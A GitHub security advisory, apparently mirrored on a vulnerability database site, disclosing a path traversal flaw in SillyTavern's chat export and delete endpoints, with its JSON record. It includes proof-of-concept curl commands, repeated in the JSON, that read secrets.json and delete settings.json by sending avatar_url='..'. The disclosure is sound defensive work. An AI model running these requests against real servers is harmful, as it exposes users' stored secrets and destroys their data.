GHSA-VPRR-Q85P-79MF

Vulnerability from github – Published: 2026-04-01 21:41 – Updated: 2026-04-01 21:41
VLAI?
Summary
SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root
Details

Summary

A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url="..".

Details

The input validator used by avatar_url blocks only / and NUL bytes, but does not block traversal segments like ...

Evidence: - Weak validator regex (does not reject ..):
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27 - Vulnerable delete path construction:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577 - Vulnerable export path construction:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598 - Endpoint auth context (authenticated user access):
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239

Because avatar_url=".." is accepted, path.join(<user>/chats, "..") resolves to <user>/, enabling direct access to files outside the chats directory.

PoC

Prerequisites: - Valid authenticated session cookie (cookie.txt) - Valid CSRF token ($TOKEN)

Read sensitive file (secrets.json):

curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
  -d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \
  http://TARGET:8000/api/chats/export

Delete sensitive file (settings.json):

curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
  -d '{"avatar_url":"..","chatfile":"settings.json"}' \
  http://TARGET:8000/api/chats/delete

Impact

  • Confidentiality: exposed per-user secrets and config data.
  • Integrity/Availability: attacker can delete critical per-user files and break account operation.
  • Risk is significant in multi-user or remotely reachable deployments.

Resolution

The issue was addressed in version 1.17.0

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.16.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sillytavern"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34524"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T21:41:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nA Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=\"..\"`.\n\n### Details\nThe input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`.\n\nEvidence:\n- Weak validator regex (does not reject `..`):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27\u003e\n- Vulnerable delete path construction:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577\u003e\n- Vulnerable export path construction:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598\u003e\n- Endpoint auth context (authenticated user access):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239\u003e\n\nBecause `avatar_url=\"..\"` is accepted, `path.join(\u003cuser\u003e/chats, \"..\")` resolves to `\u003cuser\u003e/`, enabling direct access to files outside the chats directory.\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nRead sensitive file (`secrets.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d \u0027{\"avatar_url\":\"..\",\"is_group\":false,\"file\":\"secrets.json\",\"format\":\"jsonl\",\"exportfilename\":\"x\"}\u0027 \\\n  http://TARGET:8000/api/chats/export\n```\n\nDelete sensitive file (`settings.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d \u0027{\"avatar_url\":\"..\",\"chatfile\":\"settings.json\"}\u0027 \\\n  http://TARGET:8000/api/chats/delete\n```\n\n### Impact\n- Confidentiality: exposed per-user secrets and config data.\n- Integrity/Availability: attacker can delete critical per-user files and break account operation.\n- Risk is significant in multi-user or remotely reachable deployments.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0",
  "id": "GHSA-vprr-q85p-79mf",
  "modified": "2026-04-01T21:41:48Z",
  "published": "2026-04-01T21:41:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-vprr-q85p-79mf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SillyTavern/SillyTavern"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…